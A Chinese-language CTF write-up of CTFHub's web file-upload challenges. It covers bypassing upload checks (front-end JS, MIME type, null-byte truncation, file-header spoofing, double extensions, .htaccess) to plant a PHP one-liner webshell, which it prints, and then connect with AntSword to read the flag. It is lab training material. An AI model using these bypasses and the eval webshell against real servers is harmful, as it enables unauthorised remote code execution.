<>CTFHUB(技能树 web 文件上传部分
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
<>无验证
因为在这里并没有对上传文件做任何检验
所以我们直接上传php文件
先写一个一句话木马
一句话木马用
$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我们传递的数据,
并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
将文件用浏览器上传给服务器,
我们根据返回的地址可以拼接出shell的存储地址
打开蚁剑 连上目标地址
一把唆出后台目录
然后就可以找出flag了
<>前端验证
在文件上传之前,前端js代码会对文件后缀进行一次验证
符合要求才允许上传,所以我们在这里抓包,改文件后缀就 好了
写一个一句话木马passwd.php 把后缀改为png/jpg 这样前端就过了
打开网页把要上传的文件传到浏览器
掏出burp,抓包。找到passwd.png 改为1.php
这样就可以看到上传成功了,在这里我们可以看到我们的shell的存储位置
复制url 扔到蚁剑,填上密码
在url那栏就填我们shell存储地址
密码就填我们一句话木马里的变量名
将填好数据添加进去 然后我们看一下文件管理
可以看到shell在/upload下
然后我们可以在/html目录下找到我们的flag
<>MIME限制
上传文件时,通过对选择的文件类型检验限制上传恶意文件
还是原来一句话
上传,抓包
将Content-Type改为image/jpeg
蚁剑连接
找到后台flag
在这里我们看一下后台源码
在if语句那里我们可以看到只对文件类型做了限制
所以我们也可以用和js绕过一样的方法
先把文件改为jpg 然后抓包改后缀
这样文件类型也符合要求
<>00截断
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
<>00截断的限制条件
PHP<5.3.29,且GPC关闭
这个耗了我好久的时间,主要因为我这边显示传上去了
但我蚁剑连不上,我一直以为是环境问题
后来找到了原因
在网址处我们可以看到/?road= 在这里road是文件存放的路径
如果你没有在路径这里截断,只是单纯在文件名那里截断
系统会将你传入的文件自动存储在road下
虽然成功传上去但将文件名自行修改,
文件后缀也会改为你的Content-Type
所以我们不光要将文件名那里截断,在road那里也要截断这样才能找到你传上的shell
然后00截断无论是0x00 还是%00都是可以的
%00是被服务器解码为0x00
还有一点要注意 你的shell名称是由
你road下的名字定的
与你file name那里无关
<>文件头检查
文件头检验 是当浏览器在上传文件到服务器的时候,
服务器对所上传文件的Content-Type类型进行检测,
如果是白名单允许的,则可以正常上传,否则上传失败
我们先将之前一句话的文件头改了
打开winhex ,改掉文件头,具体改成什么 (我懒,不想记)
winhex打开一张后缀相同的真实图片,复制第一行
将第一行粘贴到你的一句话最前面
照例 上传 改包 蚁剑 得到flag
<>双后缀
照旧刷一遍就是 上传 改包
上传成功 咦?我的后缀呢
既然你吃了我一个后缀 那我就写两个
嘿嘿嘿 这样可以啦 然后蚁剑 得到flag
其实 这题 呢 就是他会过滤掉黑名单里面的字符
php就被过滤了 既然他会过滤 那我们就将计就计
使他的过滤后成为能使用的payload
<>.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
我们先写一个txt文档 然后将文件改名为 .htaccess
内容如下
这个什么意思呢 就是把名字 含2的文件用php解析
那这样 我们上传的2.png就可以作为php用了
我们先上传我们的.gtaccess 然后上传2.png
我们先访问一下2.png
可以看到前面乱码 是之前模仿的文件头 而
<?php @eval($_POST['hack']) ?>没有显示 这证明php被解析了
连蚁剑 得flag